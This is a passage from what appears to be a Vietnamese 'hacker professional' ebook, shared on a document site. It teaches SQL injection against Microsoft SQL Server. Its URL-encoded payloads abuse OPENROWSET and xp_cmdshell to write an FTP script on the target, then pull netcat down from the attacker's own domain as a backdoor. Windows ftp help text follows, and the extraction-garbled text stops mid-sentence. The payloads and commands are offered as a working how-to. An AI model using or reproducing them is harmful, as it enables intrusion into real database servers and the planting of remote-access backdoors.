Tham khảo tài liệu 'hacker professional ebook part 261', công nghệ thông tin, kỹ thuật lập trình phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả | 1 Host có hộ trợ ftp Backdoor Netcat hxxp catcode 10 select 20 20from 20openro wset sqloledb server BACKUP uid BUILTIN Adminis trators pwd set 20fmtonly 20off 20select 201 20 exec 20master. .xp_cmdshell 20 echo 20open Domain 3Eftp 26 echo 20user 20user 20pass 3E 3Eftp 26 echo 20bin 3E 3Eftp 26 echo 20get file 3E 3Ef 26 echo quit 3E 3Ef --sp_password Bước này là để tạo 1 file batch chứa những lệnh của FTP có nội dung như sau 1. open domain Domain của bạn 2. user user pass User và Pass Login vào FTP 3. bin Dạng Binary Có 2 dạng ASCII và Binary 4. get file Tải file về nhớ điền đẩy đủ name và ext nhé 5. quit đóng kết nối Ở trên dùng lệnh echo ftp 3Eftp và echo ftp 3E 3Eftp để ghi ra file ftp ở Windows thì dùng 26 nếu muốn chạy nhiều command trên 1 dòng yep tiếp theo là chạy ftp để tải file netcat về hxxp catcode 1 select 20 20from 20openrow set sqloledb server BACKUP uid BUILTIN Administ rators pwd set 20fmtonly 20off 20select 201 20e xec 20 ftp -v -i -n -s ftp --sp_password Nếu các bạn thắc mắc về ftp -v -i -n -s ftp thì có thể vào Run- cmd gõ ftp -h để xem hoặc xem ở dưới A_A Trích Transfers files to and from a computer running an FTP server service sometimes called a daemon . Ftp can be used interactively. FTP -v -d -i -n -g -s filename -a -w windowsize -A host -v Suppresses display of remote server responses. -n Suppresses auto-login upon initial connection. -i Turns off interactive prompting during multiple file transfers. -d Enables debugging. -g Disables filename globbing see GLOB command . -s filename Specifies a text file containing FTP commands the commands will automatically run after FTP starts. -a Use any local interface when binding data connection. -A login as anonymous. -w buffersize Overrides the default transfer buffer size of 4096. host Specifies the host name or IP address of the remote host to connect to. Notes - mget and mput commands take y n q for